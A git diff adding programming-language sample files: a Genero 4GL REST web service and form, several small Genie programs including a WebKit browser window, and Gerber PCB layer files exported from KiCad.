+        LET returnCode = com.WebServiceEngine.ProcessServices(-1)
+        CASE returnCode
+            WHEN 0
+                DISPLAY "Request processed."
+            WHEN -1
+                DISPLAY "Timeout reached."
+            WHEN -2
+                DISPLAY "Disconnected from application server."
+                # the application server has closed the connection
+                EXIT PROGRAM
+            WHEN -3
+                DISPLAY "Client connection lost."
+            WHEN -4
+                DISPLAY "Server interrupted with ctrl-c."
+            WHEN -9
+                DISPLAY "Unsupported operation."
+            WHEN -10
+                DISPLAY "Internal server error."
+            WHEN -23
+                DISPLAY "Deserialization error."
+            WHEN -35
+                DISPLAY "No such REST operation found."
+            WHEN -36
+                DISPLAY "Missing REST parameter."
+            OTHERWISE
+                DISPLAY SFMT("Unexpected server error: %1",returnCode)
+                EXIT WHILE
+        END CASE
+
+        IF int_flag THEN
+            EXIT WHILE
+        END IF
+
+    END WHILE
+
+    DISPLAY "Server stopped"
+
+END FUNCTION
diff --git a/samples/Genero 4gl/webserv1_api.4gl b/samples/Genero 4gl/webserv1_api.4gl
new file mode 100644
index 0000000000..b0aea4fcfe
--- /dev/null
+++ b/samples/Genero 4gl/webserv1_api.4gl	
@@ -0,0 +1,45 @@
+OPTIONS SHORT CIRCUIT
+
+IMPORT com
+
+PUBLIC TYPE UserAccount RECORD
+    id INTEGER,
+    name STRING,
+    dob DATE,
+    isActive BOOLEAN
+END RECORD
+
+PUBLIC DEFINE userError RECORD ATTRIBUTE(WSError = "User error")
+    message STRING
+END RECORD
+
+PUBLIC FUNCTION getNumberUsers()
+    ATTRIBUTES(WSGet,
+        WSPath = "/users/count",
+        WSDescription = "Returns a count of users.")
+    RETURNS INTEGER
+
+    DEFINE returnCount INTEGER
+    SELECT COUNT(*) INTO returnCount FROM UserAccounts
+    RETURN returnCount
+
+END FUNCTION
+
+PUBLIC FUNCTION createUser(newUser UserAccount)
+    ATTRIBUTES(WSPost,
+        WSPath = "/users",
+        WSDescription = "Create a user profile",
+        WSThrows = "400:@userError")
+    RETURNS STRING
+
+    DEFINE returnMessage STRING
+    TRY
+        INSERT INTO UserAccounts VALUES (newUser.*)
+        LET returnMessage = SFMT("Created user: %1", newUser.name)
+    CATCH
+        LET userError.message = SFMT("SQL error:%1 [%2]", sqlca.sqlcode, SQLERRMESSAGE)
+        CALL com.WebServiceEngine.SetRestError(400, userError)
+    END TRY
+    RETURN returnMessage
+
+END FUNCTION
diff --git a/samples/Genero per/books1.per b/samples/Genero per/books1.per
new file mode 100644
index 0000000000..59648cf2a3
--- /dev/null
+++ b/samples/Genero per/books1.per	
@@ -0,0 +1,38 @@
+SCHEMA library
+
+LAYOUT
+HBOX ( ORIENTATION@SMALL = VERTICAL )
+TABLE
+{
+[c1                |c2               |c3                |c4          |c5    ]
+}
+END
+GRID
+{
+Plot
+[f1                 ]
+[                   ]
+[                   ]
+}
+END
+END
+END
+
+TABLES
+book
+END
+
+ATTRIBUTES
+ PHANTOM book.book_id;
+    EDIT c1 = book.b_title,    TITLE="Name", SCROLL;
+COMBOBOX c2 = book.b_author,   TITLE="Author", INITIALIZER=init_authors;
+    EDIT c3 = book.b_isbn,     TITLE="ISBN", SCROLL;
+DATEEDIT c4 = book.b_pub_date, TITLE="Publication";
+    EDIT c5 = book.b_price,    TITLE="Price";
+TEXTEDIT f1 = FORMONLY.f_plot, STRETCH=BOTH;
+ PHANTOM book.b_plot;
+END
+
+INSTRUCTIONS
+SCREEN RECORD sr1(book.*);
+END
diff --git a/samples/Genie/Class.gs b/samples/Genie/Class.gs
new file mode 100644
index 0000000000..61eb1b7e9e
--- /dev/null
+++ b/samples/Genie/Class.gs
@@ -0,0 +1,12 @@
+init
+	new Demo( "Demonstration class" ).run()
+
+class Demo
+	_message:string = ""
+
+	construct ( message:string = "Optional argument - no message passed in constructor" )
+		_message = message
+
+	def run()
+		print( _message )
+		
diff --git a/samples/Genie/Hello.gs b/samples/Genie/Hello.gs
new file mode 100644
index 0000000000..72fa120865
--- /dev/null
+++ b/samples/Genie/Hello.gs
@@ -0,0 +1,2 @@
+init
+	print( "Hello, World!" )
diff --git a/samples/Genie/IDataLoader.gs b/samples/Genie/IDataLoader.gs
new file mode 100644
index 0000000000..39b3b1e0f0
--- /dev/null
+++ b/samples/Genie/IDataLoader.gs
@@ -0,0 +1,18 @@
+/**
+ * IDataLoader.gs
+ *
+ * 
+ *
+ */
+[indent=4]
+uses Gee
+uses sdx
+uses sdx.math
+uses sdx.graphics.s2d
+uses o2d.data
+
+namespace o2d.resources
+
+    interface IDataLoader : Object
+        def abstract loadSceneVO(sceneName: string): SceneVO
+        def abstract loadProjectVO(): ProjectInfoVO
diff --git a/samples/Genie/web.gs b/samples/Genie/web.gs
new file mode 100644
index 0000000000..119f66b0d8
--- /dev/null
+++ b/samples/Genie/web.gs
@@ -0,0 +1,76 @@
+[indent=4]
+// valac --pkg gtk+-3.0 --pkg webkitgtk-3.0 web.gs
+
+uses
+    Gtk
+    WebKit
+
+class ValaBrowser : Window 
+
+    webview: WebView
+    button: ToolButton
+    spinner: Spinner
+
+    init 
+        window_position = WindowPosition.CENTER
+        set_default_size(1024, 768)
+        create_widgets()
+        connect_signals ()
+        webview.grab_focus ()
+        var settings = new WebSettings()
+        settings.set("enable-default-context-menu",false)
+        webview.set_settings(settings) 
+
+    def create_widgets () : void
+        var toolbar = new Toolbar ()
+        toolbar.set_style(ToolbarStyle.BOTH)
+        toolbar.get_style_context().add_class(STYLE_CLASS_PRIMARY_TOOLBAR)
+        this.button = new ToolButton(null,"Refresh")
+        toolbar.add (this.button)
+        this.webview = new WebView ()
+        this.spinner =  new Spinner()
+        this.spinner.set_margin_left(5)
+        this.spinner.set_margin_right(5)
+        this.spinner.set_margin_bottom(5)
+        this.spinner.set_margin_top(5)
+        this.spinner.start()
+        var fixed = new Fixed()
+        fixed.add(this.spinner)
+        fixed.set_halign(Align.START)
+        fixed.set_valign(Align.END)
+        var overlay = new Overlay()
+        overlay.add(this.webview)
+        overlay.add_overlay(fixed)
+        var vbox = new Box (Orientation.VERTICAL, 0)
+        vbox.pack_start (toolbar, false, true, 0)
+        vbox.pack_start(overlay,true,true,0)
+        add (vbox)
+    
+
+    def connect_signals () : void
+        this.destroy.connect (Gtk.main_quit)
+        this.button.clicked.connect (this.start)
+        this.webview.document_load_finished.connect(this.loaded)
+        this.webview.load_started.connect(this.started)
+    
+
+    def start () : void
+        show_all ()
+        //URL to show
+        this.webview.open ("https://google.com")
+    
+    
+    def loaded () : void
+        this.spinner.hide()
+        //Use the next command to run some javascript on page load
+        //this.webview.execute_script("$('body').show()")
+
+    def started () : void
+        show_all()
+
+    def main (arg: array of string[]) : int
+        Gtk.init (ref arg)
+        var browser = new ValaBrowser ()
+        browser.start ()
+        Gtk.main ()
+        return 0
diff --git a/samples/Gerber Image/AGV_GPIO.gml b/samples/Gerber Image/AGV_GPIO.gml
new file mode 100644
index 0000000000..fcbca1d296
--- /dev/null
+++ b/samples/Gerber Image/AGV_GPIO.gml	
@@ -0,0 +1,268 @@
+G75*
+%MOIN*%
+%OFA0B0*%
+%FSLAX25Y25*%
+%IPPOS*%
+%LPD*%
+%AMOC8*
+5,1,8,0,0,1.08239X$1,22.5*
+%
+%ADD10C,0.00000*%
+D10*
+X0013311Y0038461D02*
+X0013311Y0254996D01*
+X0229846Y0254996D01*
+X0229846Y0038461D01*
+X0013311Y0038461D01*
+X0018823Y0050272D02*
+X0018825Y0050430D01*
+X0018831Y0050588D01*
+X0018841Y0050746D01*
+X0018855Y0050904D01*
+X0018873Y0051061D01*
+X0018894Y0051218D01*
+X0018920Y0051374D01*
+X0018950Y0051530D01*
+X0018983Y0051685D01*
+X0019021Y0051838D01*
+X0019062Y0051991D01*
+X0019107Y0052143D01*
+X0019156Y0052294D01*
+X0019209Y0052443D01*
+X0019265Y0052591D01*
+X0019325Y0052737D01*
+X0019389Y0052882D01*
+X0019457Y0053025D01*
+X0019528Y0053167D01*
+X0019602Y0053307D01*
+X0019680Y0053444D01*
+X0019762Y0053580D01*
+X0019846Y0053714D01*
+X0019935Y0053845D01*
+X0020026Y0053974D01*
+X0020121Y0054101D01*
+X0020218Y0054226D01*
+X0020319Y0054348D01*
+X0020423Y0054467D01*
+X0020530Y0054584D01*
+X0020640Y0054698D01*
+X0020753Y0054809D01*
+X0020868Y0054918D01*
+X0020986Y0055023D01*
+X0021107Y0055125D01*
+X0021230Y0055225D01*
+X0021356Y0055321D01*
+X0021484Y0055414D01*
+X0021614Y0055504D01*
+X0021747Y0055590D01*
+X0021882Y0055674D01*
+X0022018Y0055753D01*
+X0022157Y0055830D01*
+X0022298Y0055902D01*
+X0022440Y0055972D01*
+X0022584Y0056037D01*
+X0022730Y0056099D01*
+X0022877Y0056157D01*
+X0023026Y0056212D01*
+X0023176Y0056263D01*
+X0023327Y0056310D01*
+X0023479Y0056353D01*
+X0023632Y0056392D01*
+X0023787Y0056428D01*
+X0023942Y0056459D01*
+X0024098Y0056487D01*
+X0024254Y0056511D01*
+X0024411Y0056531D01*
+X0024569Y0056547D01*
+X0024726Y0056559D01*
+X0024885Y0056567D01*
+X0025043Y0056571D01*
+X0025201Y0056571D01*
+X0025359Y0056567D01*
+X0025518Y0056559D01*
+X0025675Y0056547D01*
+X0025833Y0056531D01*
+X0025990Y0056511D01*
+X0026146Y0056487D01*
+X0026302Y0056459D01*
+X0026457Y0056428D01*
+X0026612Y0056392D01*
+X0026765Y0056353D01*
+X0026917Y0056310D01*
+X0027068Y0056263D01*
+X0027218Y0056212D01*
+X0027367Y0056157D01*
+X0027514Y0056099D01*
+X0027660Y0056037D01*
+X0027804Y0055972D01*
+X0027946Y0055902D01*
+X0028087Y0055830D01*
+X0028226Y0055753D01*
+X0028362Y0055674D01*
+X0028497Y0055590D01*
+X0028630Y0055504D01*
+X0028760Y0055414D01*
+X0028888Y0055321D01*
+X0029014Y0055225D01*
+X0029137Y0055125D01*
+X0029258Y0055023D01*
+X0029376Y0054918D01*
+X0029491Y0054809D01*
+X0029604Y0054698D01*
+X0029714Y0054584D01*
+X0029821Y0054467D01*
+X0029925Y0054348D01*
+X0030026Y0054226D01*
+X0030123Y0054101D01*
+X0030218Y0053974D01*
+X0030309Y0053845D01*
+X0030398Y0053714D01*
+X0030482Y0053580D01*
+X0030564Y0053444D01*
+X0030642Y0053307D01*
+X0030716Y0053167D01*
+X0030787Y0053025D01*
+X0030855Y0052882D01*
+X0030919Y0052737D01*
+X0030979Y0052591D01*
+X0031035Y0052443D01*
+X0031088Y0052294D01*
+X0031137Y0052143D01*
+X0031182Y0051991D01*
+X0031223Y0051838D01*
+X0031261Y0051685D01*
+X0031294Y0051530D01*
+X0031324Y0051374D01*
+X0031350Y0051218D01*
+X0031371Y0051061D01*
+X0031389Y0050904D01*
+X0031403Y0050746D01*
+X0031413Y0050588D01*
+X0031419Y0050430D01*
+X0031421Y0050272D01*
+X0031419Y0050114D01*
+X0031413Y0049956D01*
+X0031403Y0049798D01*
+X0031389Y0049640D01*
+X0031371Y0049483D01*
+X0031350Y0049326D01*
+X0031324Y0049170D01*
+X0031294Y0049014D01*
+X0031261Y0048859D01*
+X0031223Y0048706D01*
+X0031182Y0048553D01*
+X0031137Y0048401D01*
+X0031088Y0048250D01*
+X0031035Y0048101D01*
+X0030979Y0047953D01*
+X0030919Y0047807D01*
+X0030855Y0047662D01*
+X0030787Y0047519D01*
+X0030716Y0047377D01*
+X0030642Y0047237D01*
+X0030564Y0047100D01*
+X0030482Y0046964D01*
+X0030398Y0046830D01*
+X0030309Y0046699D01*
+X0030218Y0046570D01*
+X0030123Y0046443D01*
+X0030026Y0046318D01*
+X0029925Y0046196D01*
+X0029821Y0046077D01*
+X0029714Y0045960D01*
+X0029604Y0045846D01*
+X0029491Y0045735D01*
+X0029376Y0045626D01*
+X0029258Y0045521D01*
+X0029137Y0045419D01*
+X0029014Y0045319D01*
+X0028888Y0045223D01*
+X0028760Y0045130D01*
+X0028630Y0045040D01*
+X0028497Y0044954D01*
+X0028362Y0044870D01*
+X0028226Y0044791D01*
+X0028087Y0044714D01*
+X0027946Y0044642D01*
+X0027804Y0044572D01*
+X0027660Y0044507D01*
+X0027514Y0044445D01*
+X0027367Y0044387D01*
+X0027218Y0044332D01*
+X0027068Y0044281D01*
+X0026917Y0044234D01*
+X0026765Y0044191D01*
+X0026612Y0044152D01*
+X0026457Y0044116D01*
+X0026302Y0044085D01*
+X0026146Y0044057D01*
+X0025990Y0044033D01*
+X0025833Y0044013D01*
+X0025675Y0043997D01*
+X0025518Y0043985D01*
+X0025359Y0043977D01*
+X0025201Y0043973D01*
+X0025043Y0043973D01*
+X0024885Y0043977D01*
+X0024726Y0043985D01*
+X0024569Y0043997D01*
+X0024411Y0044013D01*
+X0024254Y0044033D01*
+X0024098Y0044057D01*
+X0023942Y0044085D01*
+X0023787Y0044116D01*
+X0023632Y0044152D01*
+X0023479Y0044191D01*
+X0023327Y0044234D01*
+X0023176Y0044281D01*
+X0023026Y0044332D01*
+X0022877Y0044387D01*
+X0022730Y0044445D01*
+X0022584Y0044507D01*
+X0022440Y0044572D01*
+X0022298Y0044642D01*
+X0022157Y0044714D01*
+X0022018Y0044791D01*
+X0021882Y0044870D01*
+X0021747Y0044954D01*
+X0021614Y0045040D01*
+X0021484Y0045130D01*
+X0021356Y0045223D01*
+X0021230Y0045319D01*
+X0021107Y0045419D01*
+X0020986Y0045521D01*
+X0020868Y0045626D01*
+X0020753Y0045735D01*
+X0020640Y0045846D01*
+X0020530Y0045960D01*
+X0020423Y0046077D01*
+X0020319Y0046196D01*
+X0020218Y0046318D01*
+X0020121Y0046443D01*
+X0020026Y0046570D01*
+X0019935Y0046699D01*
+X0019846Y0046830D01*
+X0019762Y0046964D01*
+X0019680Y0047100D01*
+X0019602Y0047237D01*
+X0019528Y0047377D01*
+X0019457Y0047519D01*
+X0019389Y0047662D01*
+X0019325Y0047807D01*
+X0019265Y0047953D01*
+X0019209Y0048101D01*
+X0019156Y0048250D01*
+X0019107Y0048401D01*
+X0019062Y0048553D01*
+X0019021Y0048706D01*
+X0018983Y0048859D01*
+X0018950Y0049014D01*
+X0018920Y0049170D01*
+X0018894Y0049326D01*
+X0018873Y0049483D01*
+X0018855Y0049640D01*
+X0018841Y0049798D01*
+X0018831Y0049956D01*
+X0018825Y0050114D01*
+X0018823Y0050272D01*
+M02*
diff --git a/samples/Gerber Image/FelinaePurr-B.Cu.gbl b/samples/Gerber Image/FelinaePurr-B.Cu.gbl
new file mode 100644
index 0000000000..1550ee1550
--- /dev/null
+++ b/samples/Gerber Image/FelinaePurr-B.Cu.gbl	
@@ -0,0 +1,313 @@
+G04 #@! TF.FileFunction,Copper,L2,Bot,Signal*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.150000*%
+%ADD11C,0.175000*%
+%ADD12R,1.727200X2.032000*%
+%ADD13O,1.727200X2.032000*%
+%ADD14R,2.032000X1.727200*%
+%ADD15O,2.032000X1.727200*%
+%ADD16C,1.300000*%
+%ADD17C,2.800000*%
+%ADD18C,0.685800*%
+%ADD19C,0.800000*%
+%ADD20C,0.400000*%
+%ADD21C,0.800000*%
+%ADD22C,0.300000*%
+%ADD23C,0.500000*%
+%ADD24C,0.180000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X162816666Y-95670833D02*
+X162883333Y-95637500D01*
+X163016666Y-95637500D01*
+X163083333Y-95670833D01*
+X163150000Y-95737500D01*
+X163183333Y-95804166D01*
+X163183333Y-95937500D01*
+X163150000Y-96004166D01*
+X163083333Y-96070833D01*
+X163016666Y-96104166D01*
+X162883333Y-96104166D01*
+X162816666Y-96070833D01*
+X162950000Y-95404166D02*
+X163116666Y-95437500D01*
+X163283333Y-95537500D01*
+X163383333Y-95704166D01*
+X163416666Y-95870833D01*
+X157450000Y-95870833D01*
+X157483333Y-95837500D01*
+X157550000Y-95804166D01*
+X156816666Y-95504166D02*
+X156950000Y-95504166D01*
+X157016666Y-95537500D01*
+X157050000Y-95570833D01*
+X157116666Y-95670833D01*
+X157150000Y-95804166D01*
+X157150000Y-96070833D01*
+X157116666Y-96137500D01*
+X157083333Y-96170833D01*
+X157016666Y-96204166D01*
+X156883333Y-96204166D01*
+X156816666Y-96170833D01*
+X156783333Y-96137500D01*
+X156750000Y-96070833D01*
+X156750000Y-95904166D01*
+X156783333Y-95837500D01*
+X156816666Y-95804166D01*
+X156883333Y-95770833D01*
+X157016666Y-95770833D01*
+X157083333Y-95804166D01*
+X157116666Y-95837500D01*
+X157150000Y-95904166D01*
+X156450000Y-95937500D02*
+X155916666Y-95937500D01*
+X155616666Y-96170833D02*
+X155516666Y-96204166D01*
+X155350000Y-96204166D01*
+X155283333Y-96170833D01*
+X155250000Y-96137500D01*
+X155216666Y-96070833D01*
+X155216666Y-96004166D01*
+X155250000Y-95937500D01*
+X155283333Y-95904166D01*
+X155350000Y-95870833D01*
+X155483333Y-95837500D01*
+X155550000Y-95804166D01*
+X155583333Y-95770833D01*
+X155616666Y-95704166D01*
+X155616666Y-95637500D01*
+X155583333Y-95570833D01*
+X155550000Y-95537500D01*
+X155483333Y-95504166D01*
+X155316666Y-95504166D01*
+X155216666Y-95537500D01*
+X155016666Y-95737500D02*
+X154750000Y-95737500D01*
+X154916666Y-95504166D02*
+X154916666Y-96104166D01*
+X154883333Y-96170833D01*
+X154816666Y-96204166D01*
+X154750000Y-96204166D01*
+X154216666Y-95737500D02*
+X154216666Y-96204166D01*
+X154516666Y-95737500D02*
+X154516666Y-96104166D01*
+X154483333Y-96170833D01*
+X154416666Y-96204166D01*
+X154316666Y-96204166D01*
+X154250000Y-96170833D01*
+X154216666Y-96137500D01*
+X153583333Y-96204166D02*
+X153583333Y-95504166D01*
+X153583333Y-96170833D02*
+X153650000Y-96204166D01*
+X153783333Y-96204166D01*
+X156883333Y-96795833D01*
+X156850000Y-96762500D01*
+X156883333Y-96729166D01*
+X156883333Y-96795833D01*
+X156450000Y-97429166D02*
+X156516666Y-97395833D01*
+X156550000Y-97329166D01*
+X156550000Y-96729166D01*
+X156183333Y-96962500D02*
+X155650000Y-97162500D01*
+X156183333Y-97362500D01*
+X154883333Y-96729166D02*
+X154483333Y-96729166D01*
+X154683333Y-97429166D02*
+X154683333Y-96729166D01*
+X154250000Y-97429166D02*
+X154250000Y-96962500D01*
+X154250000Y-97095833D02*
+X154216666Y-97029166D01*
+X154183333Y-96995833D01*
+X154116666Y-96962500D01*
+X154050000Y-96962500D01*
+X153516666Y-97429166D02*
+X153516666Y-97062500D01*
+X153550000Y-96995833D01*
+X153616666Y-96962500D01*
+X153750000Y-96962500D01*
+X153816666Y-96995833D01*
+X153516666Y-97395833D02*
+X153583333Y-97429166D01*
+X153750000Y-97429166D01*
+X153816666Y-97395833D01*
+X153850000Y-97329166D01*
+X153850000Y-97262500D01*
+X153816666Y-97195833D01*
+X153750000Y-97162500D01*
+X153583333Y-97162500D01*
+X153516666Y-97129166D01*
+X153183333Y-96962500D02*
+X153183333Y-97662500D01*
+X153183333Y-96995833D02*
+X153116666Y-96962500D01*
+X152983333Y-96962500D01*
+X152916666Y-96995833D01*
+X152883333Y-97029166D01*
+X152850000Y-97095833D01*
+X152850000Y-97295833D01*
+X152883333Y-97362500D01*
+X152916666Y-97395833D01*
+X152983333Y-97429166D01*
+X153116666Y-97429166D01*
+X153183333Y-97395833D01*
+X152550000Y-97429166D02*
+X152550000Y-96962500D01*
+X152550000Y-96729166D02*
+X152583333Y-96762500D01*
+X152550000Y-96795833D01*
+X152516666Y-96762500D01*
+X152550000Y-96729166D01*
+X152550000Y-96795833D01*
+X151950000Y-97395833D02*
+X152016666Y-97429166D01*
+X152150000Y-97429166D01*
+X152216666Y-97395833D01*
+X152250000Y-97329166D01*
+X152250000Y-97062500D01*
+X152216666Y-96995833D01*
+X152150000Y-96962500D01*
+X152016666Y-96962500D01*
+X151950000Y-96995833D01*
+X151916666Y-97062500D01*
+X151916666Y-97129166D01*
+X152250000Y-97195833D01*
+X151616666Y-97429166D02*
+X151616666Y-96962500D01*
+X151616666Y-97095833D02*
+X151583333Y-97029166D01*
+X151550000Y-96995833D01*
+X151483333Y-96962500D01*
+X151416666Y-96962500D01*
+D12*
+X175640000Y-81600000D03*
+D13*
+X173100000Y-81600000D03*
+X170560000Y-81600000D03*
+D14*
+X184000000Y-86460000D03*
+D15*
+X184000000Y-89000000D03*
+X184000000Y-91540000D03*
+D16*
+X152900000Y-88350000D03*
+X152900000Y-90350000D03*
+X152900000Y-92850000D03*
+X152900000Y-85850000D03*
+D17*
+X150800000Y-83500000D03*
+X150800000Y-95200000D03*
+D18*
+X173700000Y-89200000D03*
+X162300004Y-87000000D03*
+X159600000Y-82700000D03*
+X161700000Y-94600000D03*
+X176200000Y-96600000D03*
+X179600000Y-91700000D03*
+X158100000Y-83900000D03*
+X168600000Y-89399998D03*
+X167200000Y-85000000D03*
+X159600000Y-81100000D03*
+X163800000Y-81100000D03*
+D19*
+X159300000Y-87400000D03*
+X167300000Y-96600000D03*
+X167300000Y-94500000D03*
+X160900000Y-87400000D03*
+D18*
+X174900000Y-90299999D03*
+X174900000Y-85300000D03*
+D19*
+X166500002Y-90900000D03*
+X177200000Y-90200000D03*
+X168000000Y-87400000D03*
+X173800000Y-87400000D03*
+D18*
+X154500000Y-89792900D03*
+X154500000Y-88907100D03*
+D20*
+X167200000Y-87999998D02*
+X168257101Y-89057099D01*
+X167200000Y-85000000D02*
+X167200000Y-87999998D01*
+X168257101Y-89057099D02*
+X168600000Y-89399998D01*
+D21*
+X163800000Y-81100000D02*
+X159600000Y-81100000D01*
+D22*
+X159300000Y-87965685D02*
+X159300000Y-87400000D01*
+X159300000Y-88600000D02*
+X159300000Y-87965685D01*
+X167300000Y-96600000D02*
+X159300000Y-88600000D01*
+X167300000Y-94500000D02*
+X160900000Y-88100000D01*
+X160900000Y-88100000D02*
+X160900000Y-87400000D01*
+D23*
+X174900000Y-85300000D02*
+X174900000Y-90299999D01*
+D22*
+X177200000Y-90200000D02*
+X175300000Y-92100000D01*
+X175300000Y-92100000D02*
+X167700002Y-92100000D01*
+X167700002Y-92100000D02*
+X166500002Y-90900000D01*
+X173800000Y-87400000D02*
+X168000000Y-87400000D01*
+X154500000Y-88907100D02*
+X154342900Y-88907100D01*
+X154342900Y-88907100D02*
+X152900000Y-90350000D01*
+D24*
+G36*
+X159316814Y-80416329D02*
+X159076741Y-80576741D01*
+X158916329Y-80816814D01*
+X158860000Y-81100000D01*
+X158916329Y-81383186D01*
+X159076741Y-81623259D01*
+X159316814Y-81783671D01*
+X159600000Y-81840000D01*
+X163800000Y-81840000D01*
+X164083186Y-81783671D01*
+X176823872Y-82748661D01*
+X176850260Y-82616000D01*
+X176850260Y-82265373D01*
+X151860838Y-81760869D01*
+X151114549Y-81487287D01*
+X150320374Y-81520123D01*
+X149739162Y-81760869D01*
+X149586248Y-82054317D01*
+X148415000Y-82054317D01*
+X148415000Y-81040874D01*
+X148467041Y-80779242D01*
+X148592092Y-80592091D01*
+X148779241Y-80467042D01*
+X149040874Y-80415000D01*
+X159323495Y-80415000D01*
+X159316814Y-80416329D01*
+X159316814Y-80416329D01*
+G37*
+X159316814Y-80416329D02*
+X159076741Y-80576741D01*
+X158916329Y-80816814D01*
+X158860000Y-81100000D01*
+X158916329Y-81383186D01*
+X159076741Y-81623259D01*
+X159323495Y-80415000D01*
+X159316814Y-80416329D01*
+M02*
diff --git a/samples/Gerber Image/FelinaePurr-B.Mask.gbs b/samples/Gerber Image/FelinaePurr-B.Mask.gbs
new file mode 100644
index 0000000000..435dfc094e
--- /dev/null
+++ b/samples/Gerber Image/FelinaePurr-B.Mask.gbs	
@@ -0,0 +1,40 @@
+G04 #@! TF.FileFunction,Soldermask,Bot*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.150000*%
+%ADD11R,1.727200X2.032000*%
+%ADD12O,1.727200X2.032000*%
+%ADD13R,2.032000X1.727200*%
+%ADD14O,2.032000X1.727200*%
+%ADD15C,1.300000*%
+%ADD16C,2.800000*%
+%ADD17C,1.200000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X175640000Y-81600000D03*
+D12*
+X173100000Y-81600000D03*
+X170560000Y-81600000D03*
+D13*
+X184000000Y-86460000D03*
+D14*
+X184000000Y-89000000D03*
+X184000000Y-91540000D03*
+D15*
+X152900000Y-88350000D03*
+X152900000Y-90350000D03*
+X152900000Y-92850000D03*
+X152900000Y-85850000D03*
+D16*
+X150800000Y-83500000D03*
+X150800000Y-95200000D03*
+D17*
+X150800000Y-87100000D03*
+X150800000Y-91600000D03*
+M02*
diff --git a/samples/Gerber Image/FelinaePurr-B.SilkS.gbo b/samples/Gerber Image/FelinaePurr-B.SilkS.gbo
new file mode 100644
index 0000000000..37e1a10187
--- /dev/null
+++ b/samples/Gerber Image/FelinaePurr-B.SilkS.gbo	
@@ -0,0 +1,245 @@
+G04 #@! TF.FileFunction,Legend,Bot*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.150000*%
+%ADD11C,0.175000*%
+%ADD12C,0.375000*%
+%ADD13C,0.254000*%
+%ADD14R,1.727200X2.032000*%
+%ADD15O,1.727200X2.032000*%
+%ADD16R,2.032000X1.727200*%
+%ADD17O,2.032000X1.727200*%
+%ADD18C,1.300000*%
+%ADD19C,2.800000*%
+%ADD20C,1.200000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X164233333Y-82450000D02*
+X164133333Y-82483333D01*
+X164100000Y-82516666D01*
+X164066666Y-82583333D01*
+X164066666Y-82683333D01*
+X164100000Y-82750000D01*
+X164133333Y-82783333D01*
+X164200000Y-82816666D01*
+X164466666Y-82816666D01*
+X164466666Y-82116666D01*
+X164233333Y-82116666D01*
+X164166666Y-82150000D01*
+X164133333Y-82183333D01*
+X164100000Y-82250000D01*
+X164100000Y-82316666D01*
+X164133333Y-82383333D01*
+X164166666Y-82416666D01*
+X164233333Y-82450000D01*
+X164466666Y-82450000D01*
+X163666666Y-82816666D02*
+X163733333Y-82783333D01*
+X163766666Y-82750000D01*
+X163800000Y-82683333D01*
+X163800000Y-82483333D01*
+X163766666Y-82416666D01*
+X163733333Y-82383333D01*
+X163666666Y-82350000D01*
+X163566666Y-82350000D01*
+X163500000Y-82383333D01*
+X163466666Y-82416666D01*
+X163433333Y-82483333D01*
+X163433333Y-82683333D01*
+X163466666Y-82750000D01*
+X163500000Y-82783333D01*
+X163566666Y-82816666D01*
+X163666666Y-82816666D01*
+X162833333Y-82816666D02*
+X162833333Y-82450000D01*
+X162866666Y-82383333D01*
+X162933333Y-82350000D01*
+X163066666Y-82350000D01*
+X163133333Y-82383333D01*
+X162833333Y-82783333D02*
+X162900000Y-82816666D01*
+X163066666Y-82816666D01*
+X163133333Y-82783333D01*
+X163166666Y-82716666D01*
+X163166666Y-82650000D01*
+X163133333Y-82583333D01*
+X163066666Y-82550000D01*
+X162900000Y-82550000D01*
+X162833333Y-82516666D01*
+X162500000Y-82816666D02*
+X162500000Y-82350000D01*
+X162500000Y-82483333D02*
+X162466666Y-82416666D01*
+X162433333Y-82383333D01*
+X162366666Y-82350000D01*
+X162300000Y-82350000D01*
+X161766666Y-82816666D02*
+X161766666Y-82116666D01*
+X161766666Y-82783333D02*
+X161833333Y-82816666D01*
+X161966666Y-82816666D01*
+X162033333Y-82783333D01*
+X162066666Y-82750000D01*
+X162100000Y-82683333D01*
+X162100000Y-82483333D01*
+X162066666Y-82416666D01*
+X162033333Y-82383333D01*
+X161966666Y-82350000D01*
+X161833333Y-82350000D01*
+X161766666Y-82383333D01*
+X160933333Y-82350000D02*
+X160433333Y-82350000D01*
+X160733333Y-82050000D02*
+X160933333Y-82950000D01*
+X160500000Y-82650000D02*
+X161000000Y-82650000D01*
+X160700000Y-82950000D02*
+X160500000Y-82050000D01*
+D12*
+X181899107Y-86482142D02*
+X180756250Y-86482142D01*
+X181327678Y-87053571D02*
+X181327678Y-85910714D01*
+X179327678Y-85553571D02*
+X180041964Y-85553571D01*
+X180113392Y-86267857D01*
+X180041964Y-86196428D01*
+X179899107Y-86125000D01*
+X179541964Y-86125000D01*
+X179399107Y-86196428D01*
+X179327678Y-86267857D01*
+X179256250Y-86410714D01*
+X179256250Y-86767857D01*
+X179327678Y-86910714D01*
+X179399107Y-86982142D01*
+X179541964Y-87053571D01*
+X179899107Y-87053571D01*
+X180041964Y-86982142D01*
+X180113392Y-86910714D01*
+X178827678Y-85553571D02*
+X178327678Y-87053571D01*
+X177827678Y-85553571D01*
+X176184821Y-87053571D02*
+X176184821Y-85553571D01*
+X175827678Y-85553571D01*
+X175613392Y-85625000D01*
+X175470535Y-85767857D01*
+X175399107Y-85910714D01*
+X175327678Y-86196428D01*
+X175327678Y-86410714D01*
+X175399107Y-86696428D01*
+X175470535Y-86839285D01*
+X175613392Y-86982142D01*
+X175827678Y-87053571D01*
+X176184821Y-87053571D01*
+X174684821Y-86267857D02*
+X174184821Y-86267857D01*
